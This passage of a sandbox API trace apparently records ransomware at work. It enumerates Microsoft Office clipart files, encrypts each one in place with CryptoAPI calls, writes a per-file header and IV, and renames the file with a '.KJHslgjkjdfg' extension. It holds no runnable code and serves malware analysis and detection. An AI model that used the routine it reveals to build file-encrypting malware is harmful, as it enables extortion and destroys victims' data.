lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.225] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.225] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.225] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.225] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x69d8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x69d8, lpOverlapped=0x0) returned 1 [0197.232] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x69e0, dwBufLen=0x69e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x69e0) returned 1 [0197.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.232] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x69e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x69e0, lpOverlapped=0x0) returned 1 [0197.233] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.233] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.233] SetEndOfFile (hFile=0x130) returned 1 [0197.236] GetProcessHeap () returned 0x990000 [0197.236] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.236] GetProcessHeap () returned 0x990000 [0197.236] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.236] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf.kjhslgjkjdfg")) returned 1 [0197.238] CloseHandle (hObject=0x130) returned 1 [0197.238] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185778.WMF", cAlternateFileName="")) returned 1 [0197.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.240] GetProcessHeap () returned 0x990000 [0197.240] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.241] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.241] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.241] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.241] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.241] GetProcessHeap () returned 0x990000 [0197.241] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.241] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.241] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.241] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.246] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.246] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.246] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.246] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.246] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.246] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.246] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x62e0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x62e0, lpOverlapped=0x0) returned 1 [0197.248] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x62e0, dwBufLen=0x62e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x62e0) returned 1 [0197.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.249] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x62e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x62e0, lpOverlapped=0x0) returned 1 [0197.249] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x63b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.249] SetEndOfFile (hFile=0x130) returned 1 [0197.252] GetProcessHeap () returned 0x990000 [0197.252] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.252] GetProcessHeap () returned 0x990000 [0197.252] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.252] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf.kjhslgjkjdfg")) returned 1 [0197.253] CloseHandle (hObject=0x130) returned 1 [0197.254] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe956, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185780.WMF", cAlternateFileName="")) returned 1 [0197.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.254] GetProcessHeap () returned 0x990000 [0197.254] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.254] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.255] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.255] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0197.265] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.265] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.265] GetProcessHeap () returned 0x990000 [0197.265] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.265] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.265] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.265] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.266] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.266] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.266] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.266] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.266] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.266] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.266] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe956, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe956, lpOverlapped=0x0) returned 1 [0197.286] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe960, dwBufLen=0xe960 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe960) returned 1 [0197.287] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.287] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe960, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe960, lpOverlapped=0x0) returned 1 [0197.287] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.287] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xea34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.287] SetEndOfFile (hFile=0x130) returned 1 [0197.289] GetProcessHeap () returned 0x990000 [0197.289] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.289] GetProcessHeap () returned 0x990000 [0197.289] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.289] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf.kjhslgjkjdfg")) returned 1 [0197.290] CloseHandle (hObject=0x130) returned 1 [0197.290] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185786.WMF", cAlternateFileName="")) returned 1 [0197.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.291] GetProcessHeap () returned 0x990000 [0197.291] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.291] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.292] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0197.303] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.304] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.304] GetProcessHeap () returned 0x990000 [0197.304] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.304] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.304] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.304] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.304] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.304] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.304] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.304] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.304] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.304] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.305] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x99a2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x99a2, lpOverlapped=0x0) returned 1 [0197.359] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x99b0, dwBufLen=0x99b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x99b0) returned 1 [0197.360] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.360] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x99b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x99b0, lpOverlapped=0x0) returned 1 [0197.360] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.360] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.360] SetEndOfFile (hFile=0x130) returned 1 [0197.362] GetProcessHeap () returned 0x990000 [0197.362] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.362] GetProcessHeap () returned 0x990000 [0197.362] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.362] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf.kjhslgjkjdfg")) returned 1 [0197.363] CloseHandle (hObject=0x130) returned 1 [0197.363] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x50b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185790.WMF", cAlternateFileName="")) returned 1 [0197.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.364] GetProcessHeap () returned 0x990000 [0197.364] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.364] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.364] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.365] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0197.443] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.443] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.443] GetProcessHeap () returned 0x990000 [0197.444] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.444] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.444] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.444] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.444] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.444] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.444] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.444] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.444] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.444] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.444] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x50b6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x50b6, lpOverlapped=0x0) returned 1 [0197.479] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x50c0, dwBufLen=0x50c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x50c0) returned 1 [0197.479] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.479] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x50c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x50c0, lpOverlapped=0x0) returned 1 [0197.479] 